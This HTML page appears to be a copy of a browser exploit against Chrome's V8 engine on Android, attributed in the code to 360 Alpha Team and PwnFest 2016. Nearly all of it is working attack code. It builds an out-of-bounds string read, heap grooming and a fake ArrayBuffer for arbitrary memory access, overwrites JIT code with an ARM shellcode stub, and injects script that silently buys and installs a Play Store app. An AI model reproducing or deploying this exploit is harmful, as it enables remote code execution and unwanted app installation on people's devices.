662 lines
No EOL
39 KiB
HTML
662 lines
No EOL
39 KiB
HTML
<html>
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// Source: https://github.com/secmob/pwnfest2016/
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<script>
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function exploit(){
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function to_hex(num){
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return (num>>>0).toString(16);
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}
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function intarray_to_double(int_arr){
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var uBuf = new Uint32Array(2);
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var dBuf = new Float64Array(uBuf.buffer);
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uBuf[0]=int_arr[0];
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uBuf[1]=int_arr[1];
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return dBuf[0];
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}
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function str_to_double(str){//leng of str must be 8
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var dBuf = new Float64Array(1);
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var u8Buf = new Uint8Array(dBuf.buffer);
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for(var i=0;i<str.length;i++){
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u8Buf[i] = str.charCodeAt(i);
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}
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return dBuf[0];
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}
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function double_to_array(value){
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var uBuf = new Uint32Array(2);
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var dBuf = new Float64Array(uBuf.buffer);
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dBuf[0]=value;
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return uBuf;
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}
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function gc(){
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for(var i=0;i<0x100000/16;i++){
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new String;
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}
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}
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function getHiddenValue(){
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var obj = {};
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var oob = "/re/";
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//oob = oob.replace("re","*".repeat(0x2000));
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oob = oob.replace("re","*".repeat(0x100000));
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var str = 'class x extends Array{'+oob+"}";
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var fun = eval(str);
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Object.assign(obj,fun);
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return obj;
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}
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var obWin;
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function makeOobString(){
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var hiddenValue = getHiddenValue();
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var magicStr = "bbbb";
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var arr=[];
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var str = 'class x extends Array{}';
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for(var i=0;i<str.length;i++){
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arr[i]=str.charCodeAt(i);
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}
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var ob = new Array(0x200);
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ob.fill(0x31313131);
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gc();
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gc();
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str=String.fromCharCode.apply(null,arr);
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ob=ob.concat(0x32323232);
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var fun = eval(str);
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ob[2]=str;
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ob[3]=ob;
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Object.assign(fun,hiddenValue);
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var oobString = fun.toString();
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gc();
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gc();
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print("begin search");
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var subStr = oobString.substr(0,0x8000);
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var pos = subStr.indexOf(magicStr);
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print("end search");
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if(pos==-1){
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print("find magic failed");
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postMessage(false);
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self.close();
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print("unpossible");
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throw "error";
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}else{
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print("find magic at "+pos);
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}
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oobString = oobString.substr(pos,ob.length*4);
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obWin=ob;
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return oobString;
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}
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var oobString = makeOobString();
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print("get oob string successfully");
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function print(){
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console.log.apply(null,arguments);
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/*document.write('<p >');
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document.write.apply(document,arguments);
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document.write("<p>");*/
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}
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function str2arr(str,len){//len must be multile of 4
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if(len===undefined)
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len = str.length;
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var u8a = new Uint8Array(len);
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for(var i=0;i<len;i++){
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u8a[i] = str.charCodeAt(i);
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}
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return new Uint32Array(u8a.buffer);
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}
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function pArrayInHex(arr){
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var result="<p style='font-size:8px'>";
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for(var i=0;i<arr.length;i++){
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result+=(arr[i]+0x100000000).toString(16).substr(-8);
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result+=" ";
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if(i%8==7)
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result+="<p style='font-size:8px'>";
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}
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result+="<p>";
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print(result);
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//alert(result);
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return result;
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}
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function pStrInHex(str){
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//var result="<p style='font-size:8px'>";
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var result="\n";
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for(var i=0;i<str.length;i++){
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var code = str.charCodeAt(i);
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result+=(code+0x100).toString(16).substr(-2);
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if(i%4==3)
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result+=" ";
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if(i%32==31)
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// result+="<p style='font-size:8px'>";
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result+="\n";
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}
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// result+="<p>";
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result+="\n";
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print(result);
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return result;
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}
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function getObjAddr(obj){
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obWin[0]=obj;
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var value2= ((str2arr(oobString,4))[0]);
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return value2>>>0;
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}
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var getObj24BitsAddr = function(){
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var smi=0;
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var code = 0;
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var i=0;
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//don't allocate heap object
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function getAddr(obj){
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obWin[0]=obj;
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value=0;
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code = 0;
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i=0;
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for(i=2;i>=0;i--){
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code = oobString.charCodeAt(i);
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value = code+value*256;
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}
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return value;
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}
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return getAddr;
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}();
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var lengthInOldSpace = 0xfffffffc;
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var abarr=new Array(800);
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function sprayVM(){
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var i=0;
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var j=0;
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try{
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for(i=0;i<20;i++){
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var u8 = new Uint8Array(0x10000000-0x500);
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abarr[i]=u8;
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}
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}catch(e){}
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try{
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for(j=0;j<100;j++){
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var u8 = new Uint8Array(0x8000000-0x500);
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abarr[i+j]=u8;
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}
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}catch(e){}
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print("allocate "+i+" 256M "+j+" 16M ")
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function getRandomInt(min, max) {
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min = Math.ceil(min);
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max = Math.floor(max);
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return Math.floor(Math.random() * (max - min)) + min;
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}
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delete abarr[getRandomInt(0,i)];
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}
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function getNewSpaceAddrs(){
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/*var kMaxRegularHeapObjectSize =523776;// 507136;
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var str="1".repeat(kMaxRegularHeapObjectSize-0x2000);
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str+="%";*/
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var objsInNewSpace = new Array(80);
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for(var i=0;i<objsInNewSpace.length;i++){
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//var xx=escape(str);
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var xx = new Array(0x70000/4);
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objsInNewSpace[i]=(getObjAddr(xx)&0xfff00000)>>>0;
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//使newspace更离散
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new Uint8Array(0x100000-0x500);
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new Uint8Array(0x100000-0x500);
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}
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function compareNumbers(a, b) {
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return a - b;
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}
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objsInNewSpace = Array.from(new Set(objsInNewSpace));
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objsInNewSpace = objsInNewSpace.sort(compareNumbers);
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return objsInNewSpace;
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}
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print("begin get new space address");
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var objsInNewSpace = getNewSpaceAddrs();
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while(objsInNewSpace.length<16){
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objsInNewSpace = getNewSpaceAddrs();
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print("new space addresses");
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pArrayInHex(objsInNewSpace);
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}
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try{
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sprayVM();
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}catch(e){}
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var selectedTrunk = 0;
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var selectedStr = "";
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function bruteForceFengShui(){
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var huge_str = "x".repeat(0x100000-0x9000);//-0x9000
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huge_str +="%";
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var hold = new Array(100);
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//var holdaddress = new Array(100);
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for(var i=0;;i++){
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var large = escape(huge_str);
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var addr = getObjAddr(large);
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//console.log(addr.toString(16) + " "+i);
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if(i<hold.length){
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hold[i]=large;
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//holdaddress[i]=addr;
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}
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addr=(addr&0xfff00000)>>>0;
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addr = addr-0x100000;
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if(objsInNewSpace.indexOf(addr)!=-1){
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selectedTrunk = addr;
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selectedStr = large;
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abarr.fill(1);
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hold.fill(1);
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//holdaddress.fill(1);
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break;
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}
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if(i===150){
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/*i=0;
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print("tried 200 times");
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abarr.fill(1);
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try{
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sprayVM();
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}catch(e){};*/
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postMessage(false);
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close();
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throw "exceed limits";
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}
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}
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}
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bruteForceFengShui();
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//to avoid allocate memory latter, initilize here
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var nextTrunk = selectedTrunk + 0x100000;
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//生成一块足够大的可读写内存
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var huge_str = "eval('');";
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//8000不能太大，太大会使new_space增大
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for(var i=0;i<8000;i++) huge_str += 'a.a;';
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huge_str += "return 10;";
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var huge_func = new Function('a',huge_str);
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huge_func({});
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function fillNewSpace(origObj){
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//first object in new space at 0x8100, new spaces layout
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//0x40000
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//0x37f00
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//.....
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//0x40000
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var gap = "g".repeat(0x37f00-12-3);//12 is head of string,3 %25
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var gap = gap+"%";
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//flat gap
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gap.substr(0,100);
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var fillstr = "%20a".repeat((0x40000-12)/4);
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fillstr = escape(fillstr);
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var addr=0;
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for(var i=0;i<0x100;i++){
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addr = getObj24BitsAddr(origObj);
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if((addr&0xfffff)===0x8101)
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origObj=escape(gap);
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else
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origObj=unescape(fillstr);
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}
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}
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function findNewSpace(){
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var kMaxRegularHeapObjectSize =523776;// 507136;
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var str="1".repeat(kMaxRegularHeapObjectSize-0x2000);
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str+="%";
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for(var i=0;;i++){
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var xx=escape(str);
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var straddr = getObjAddr(xx);
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addr=(straddr&0xfff00000)>>>0;
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if(addr===selectedTrunk){
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print("good state "+straddr.toString(16));
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break;
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}
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}
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}
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function myencode(str){
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var arr = [];
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for(var i=0;i<str.length;i++){
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if(i%2==1)
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arr.push(str.charCodeAt(i));
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else{
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arr.push(37);//%
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var hexstr = (str.charCodeAt(i)+0x100).toString(16).substr(-2);
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arr.push(hexstr.charCodeAt(0));
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arr.push(hexstr.charCodeAt(1));
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}
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}
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return String.fromCharCode.apply(null,arr);
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}
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var dArray = [];
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var index = (0x8100-36)*2;
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for(var i=0;i<0x20000/8;i++){
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dArray[i]=str_to_double("%03x%03x");
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}
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var occulen = 0;
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var i = 0;
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var savedChunk = new Uint8Array(0x8100);
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var hiddenValue = getHiddenValue();
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var arr=[];
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fillNewSpace(new String);
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findNewSpace();
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var classStr = 'class x extends Array{}';
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for(var i=0;i<classStr.length;i++){
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arr[i]=classStr.charCodeAt(i);
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}
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var magicStr = String.fromCharCode(0x86,0x24);
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classStr=String.fromCharCode.apply(null,arr);
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var ab = new ArrayBuffer(0x1243);
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var fun = eval(classStr);
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Object.assign(fun,hiddenValue);
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var oobStr = fun.toString();
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/*(gdb) x/20xw 0x5600c45c array buffer layout
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* 0x5600c45c: 0x4b009a9d 0x41008125 0x41008125 0x00000020
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* 0x5600c46c: 0x09fda368 0x00000004 0x00000000 0x00000000
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*/
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//overwrite huge string as array buffer
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var abLengthIndex = oobStr.indexOf(magicStr);
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var strArrayBuffer = oobStr.substr(abLengthIndex-12,32);
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//replace the byteLength
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var LengthAddr = getObjAddr(lengthInOldSpace);
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var strLength = String.fromCharCode(0xff&LengthAddr,(0xff00&LengthAddr)>>8,(0xff0000&LengthAddr)>>16,(0xff000000&LengthAddr)>>24);
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var strBase = "\x00\x00\x00\x00";
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strArrayBuffer = strArrayBuffer.substr(0,12)+strLength+strBase+strArrayBuffer.substr(20,12);
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strArrayBuffer = myencode(strArrayBuffer);
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for(var i=0;i<strArrayBuffer.length/8;i++){
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var d = strArrayBuffer.substr(i*8,8);
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dArray[index/8+i] = str_to_double(d);
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}
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var classStrAddr = getObjAddr(classStr)>>>0;
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//set read position
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var readOffset = 0x100000-((classStrAddr-1)&0xfffff)-12-0x40000;//12 string head
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//length control the length of unscaped string, generated string has 12 bytes head
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//left 0x1000*2 bytes to avoid gc
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var subOobStr = oobStr.substr(readOffset,0x40000-24-0x2000);
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//save the the chunk head to be corrupted
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var nextThunkOffset = 0x100000-((classStrAddr-1)&0xfffff)-12;
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var savedThunkStr = oobStr.substr(nextThunkOffset,0x8100);
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for(var i =0;i<savedThunkStr.length;i++){
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savedChunk[i] = savedThunkStr.charCodeAt(i);
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}
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var pos1=new String;
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var pos1addr = getObj24BitsAddr(pos1)-1;
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//0x10 size of JSArray, 0x10 size of String head, 8 ALLOCATION_MEMENTO_TYPE 8 fixedarray
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occulen =0x100000-((pos1addr+0x10+0x10+0x8+0x8)&0xfffff);
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//minus the length of double array
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if(occulen<0x40000+16+8)
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throw "no enough room";
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occulen = occulen - 0x40000-16-8;//16 size of JSArray, 8 fixedarray
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if(occulen%4!==0)
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throw "length don't align";
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var arrocc=new Array((occulen/4));
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//set unescape write position
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var occDoubleArray = dArray.concat();
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var b=unescape(subOobStr);
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//restore the corrupted chunk head
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var u8 = new Uint8Array(selectedStr,nextTrunk,0x8100);
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for(var i=0;i<savedChunk.length;i++){
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u8[i] = savedChunk[i];
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}
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print("long string allocated at "+classStrAddr.toString(16));
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if(typeof(selectedStr)==="string"){
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print("overwrite failed");
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postMessage(false);
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close();
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return;
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//throw "overwrite failed";
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}
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var fakeab = selectedStr;
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print("faked array buffer byte length is "+fakeab.byteLength.toString(16));
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var globaldv = new Uint32Array(fakeab);
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function read_uint32(from_address){
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var u32 = globaldv[(from_address/4)>>>0];
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return u32>>>0;
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}
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function read_uint8(from_address){
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from_address = from_address>>>0;
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var index = (from_address/4)>>>0;
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var mask = from_address%4;
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var u32 = globaldv[index];
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u32 = u32<<8*(3-mask);
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return u32>>>24;
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}
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function read_uint32_unalign(from_address){
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var u32 = 0;
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for(var i=3;i>=0;i--){
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var u8 = read_uint8(from_address+i);
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u32 = u32*0x100+u8;
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}
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return u32>>>0;
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}
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//rw to execute
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//get function point of v8::internal::Accessors::ReconfigureToDataProperty
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function getFixedFunctionPoint(fakeab){
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var FunctionAddress = getObjAddr(Function);
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var u32 = new Uint32Array(fakeab,FunctionAddress-1,0x1000);
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var map = u32[0];
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u32 = new Uint32Array(fakeab,map-1,0x1000);
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//instance descriptors
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var descriptors = u32[7];
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u32 = new Uint32Array(fakeab,descriptors-1,0x1000);
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var lengthAccessorInfo = u32[6];
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u32 = new Uint32Array(fakeab,lengthAccessorInfo-1,0x1000);
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var setterForeign = u32[4];
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u32 = new Uint32Array(fakeab,setterForeign-1,0x1000);
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var functionPoint = u32[1];
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return functionPoint-1;
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}
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var funPoint = getFixedFunctionPoint(fakeab);
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print("ReconfigureToDataProperty at"+funPoint.toString(16));
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var pattern=[0x03,0x46,0x18,0xb1,0x20,0x46,0x98,0x47,0x04,0x46];//get_elf_hwcap_from_getauxval
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var point = ((funPoint&~0xfff)-0xdb6000)>>>0;//cf0000
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print("chrome.apk base at "+point.toString(16));
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function find(startAddr,len,pattern){
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for(var i=0; i<(len-pattern.length); i++ ) {
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for(var j=0;j<pattern.length;j++){
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var temp = read_uint8(startAddr+i+j);
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//print(temp.toString(16));
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if(temp!=pattern[j]) break;
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}
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if(j==pattern.length) return startAddr+i;
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}
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print("find failed");
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}
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var pattern_position=find(point,0x10000000,pattern);
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print("find pattern at "+to_hex(pattern_position));
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function get_dest_from_blx(addr) {
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var val = read_uint32_unalign(addr);
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var s = (val & 0x400) >> 10;
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var i1 = 1 - (((val & 0x20000000) >> 29) ^ s);
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var i2 = 1 - (((val & 0x8000000) >> 27) ^ s);
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var i10h = val & 0x3ff;
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var i10l = (val & 0x7fe0000) >> 17;
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var off = ((s * 0xff) << 24) | (i1 << 23) | (i2 << 22) | (i10h << 12) | (i10l << 2);
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return ((addr + 4) & ~3) + off;
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}
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function backup_original_code(start_address){
|
||
var backup_arr = [];
|
||
set_access_address(start_address);
|
||
var u8arr=new Uint8Array(faked_ab);
|
||
for(var i=0;i<shellcode.length+4096;i++){
|
||
backup_arr[i]=u8arr[i];
|
||
}
|
||
return backup_arr;
|
||
}
|
||
|
||
function restore_original_code(start_address,backup_arr){
|
||
set_access_address(start_address);
|
||
var u8arr=new Uint8Array(faked_ab);
|
||
for(var i=0;i<shellcode.length+4096;i++){
|
||
u8arr[i]=backup_arr[i];
|
||
}
|
||
}
|
||
|
||
|
||
huge_func({});
|
||
print("blx instruction content is "+to_hex(read_uint32_unalign(pattern_position-4)));
|
||
var dlsym_addr = get_dest_from_blx(pattern_position-4);
|
||
print("dlsym address is "+to_hex(dlsym_addr));
|
||
var huge_func_address = getObjAddr(huge_func)-1;
|
||
print("huge func address is "+to_hex(huge_func_address));
|
||
for(var i=0;i<20;i++){
|
||
print(to_hex(read_uint32(huge_func_address+i*4)));
|
||
}
|
||
var huge_func_code_entry = read_uint32(huge_func_address+7*4);//dynamic kCodeEntryOffset 3*4
|
||
print("huge func code entry is "+to_hex(huge_func_code_entry));
|
||
print(to_hex(read_uint32(huge_func_code_entry)));
|
||
|
||
//var so_str= "";
|
||
var shellcode = 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|
||
var arrayBuffer = new ArrayBuffer(0x1000000);
|
||
var arrayBufferAddress = getObjAddr(arrayBuffer)-1;
|
||
var backingStoreAddress = read_uint32(arrayBufferAddress+4*4);
|
||
var args_address = backingStoreAddress+1024;
|
||
function write_shellcode(dlsym_addr,buffer){
|
||
//ldr r0,[pc,4]//0xe59f0004
|
||
//ldr r1,[pc,4]//0xe59f1004
|
||
//b shellcode;//0xea000001
|
||
//dlopen_addr//array_buffer_address
|
||
//dlsym_addr
|
||
//shellcode
|
||
//var stub=[0xe59f0004,0xe59f1004,0xea000001,dlsym_addr+0xc,dlsym_addr];
|
||
var stub=[0xe59f0004,0xe59f1004,0xea000001,args_address,0x1000000];
|
||
for(var i=0;i<stub.length;i++){
|
||
globaldv[buffer/4+i]=stub[i];
|
||
}
|
||
|
||
shellcode = shellcode.concat([0,0,0,0]);
|
||
for(var i=0;i<shellcode.length/4>>>0;i++){
|
||
// u8arr[i+4*stub.length]=shellcode[i];
|
||
globaldv[buffer/4+stub.length+i] = (shellcode[4*i+3]<<24)+(shellcode[4*i+2]<<16)+(shellcode[4*i+1]<<8)+(shellcode[4*i]);
|
||
}
|
||
return stub.length*4+shellcode.length;
|
||
}
|
||
|
||
function xss_code(){
|
||
//alert(navigator.userAgent);
|
||
//alert(document.cookie);
|
||
var i1=setInterval(function(){
|
||
if(!(document&&document.body&&document.body.innerHTML&&document.body.innerHTML.match(/This app is compatible/)!=null)){
|
||
console.log("wait load complete");
|
||
return;
|
||
}
|
||
clearInterval(i1);
|
||
var i2=setInterval(function(){
|
||
document.getElementsByClassName("price buy id-track-click")[0].click();
|
||
var installButton = document.getElementById("purchase-ok-button");
|
||
if(installButton == null)
|
||
return;
|
||
installButton.click();
|
||
document.write("<h1>The app will be installed shortly, Pwned by 360 Alpha Team</h1>");
|
||
clearInterval(i2);
|
||
setTimeout(function(){
|
||
window.open("intent://scan/#Intent;scheme=zxing;package=com.google.zxing.client.android;end");
|
||
},26000);
|
||
},500);
|
||
},500);
|
||
}
|
||
|
||
var js_str="\n"+xss_code.toString()+"xss_code();\n";
|
||
//var backup_arr = backup_original_code(huge_func_code_entry);
|
||
var writed_len = write_shellcode(dlsym_addr,huge_func_code_entry);
|
||
var args_view = new DataView(arrayBuffer,1024,100);
|
||
var so_file_view = new DataView(arrayBuffer,4096);
|
||
var js_view = new DataView(arrayBuffer,0x100000);
|
||
args_view.setUint32(0,dlsym_addr+0xc,true);
|
||
args_view.setUint32(4,dlsym_addr,true);
|
||
args_view.setUint32(8,huge_func_code_entry,true);
|
||
args_view.setUint32(12,writed_len,true);
|
||
args_view.setUint32(16,backingStoreAddress+4096,true);
|
||
args_view.setUint32(20,so_str.length/2,true);
|
||
args_view.setUint32(24,backingStoreAddress+0x100000,true);
|
||
args_view.setUint32(28,js_str.length,true);
|
||
print("length is "+so_str.length);
|
||
for(var i=0;i<so_str.length;i+=2){
|
||
var value = so_str.substr(i,2);
|
||
value = "0x"+value;
|
||
so_file_view.setUint8(i/2,parseInt(value));
|
||
}
|
||
for(var i=0;i<js_str.length;i++){
|
||
js_view.setUint8(i,js_str.charCodeAt(i));
|
||
}
|
||
|
||
print("begin execute shellcode");
|
||
huge_func({});
|
||
|
||
print("done");
|
||
postMessage(true);
|
||
//prevent arrayBuffer to be released
|
||
while(1){}
|
||
|
||
}
|
||
//main world
|
||
function print(){
|
||
console.log.apply(null,arguments);
|
||
document.write('<p >');
|
||
document.write.apply(document,arguments);
|
||
document.write("<p>");
|
||
}
|
||
|
||
// Build a worker from an anonymous function body
|
||
var blobURL = URL.createObjectURL( new Blob([ '(',exploit.toString(),')()' ], { type: 'application/javascript' } ) );
|
||
|
||
var worker;
|
||
var exploitSucc = false;
|
||
var count = 0;
|
||
function startExploit(){
|
||
print("worker thread is started");
|
||
worker = new Worker( blobURL );
|
||
count++;
|
||
worker.onmessage = function(e){
|
||
print("exploit result is "+e.data);
|
||
exploitSucc = e.data;
|
||
if(exploitSucc==false){
|
||
startExploit();
|
||
return;
|
||
}
|
||
var end = +new Date();
|
||
print("time diff is "+(end-begin)/1000);
|
||
//top.location='https://play.google.com/store/apps/details?id=com.google.zxing.client.android';
|
||
top.location='https://play.google.com/store/apps/details?id=com.kitkats.qrscanner';
|
||
}
|
||
}
|
||
var begin = +new Date();
|
||
startExploit();
|
||
|
||
var savedCount = 0;
|
||
var hangMonitor = setInterval(function (){
|
||
if(exploitSucc==true){
|
||
clearInterval(hangMonitor);
|
||
}else{
|
||
if(savedCount==count){//maybe hang
|
||
print("worker maybe hange");
|
||
worker.terminate();
|
||
startExploit();
|
||
}else{
|
||
print("worker is normal");
|
||
savedCount = count;
|
||
}
|
||
}
|
||
},10000);
|
||
//URL.revokeObjectURL( blobURL );
|
||
|
||
|
||
</script>
|
||
</html> |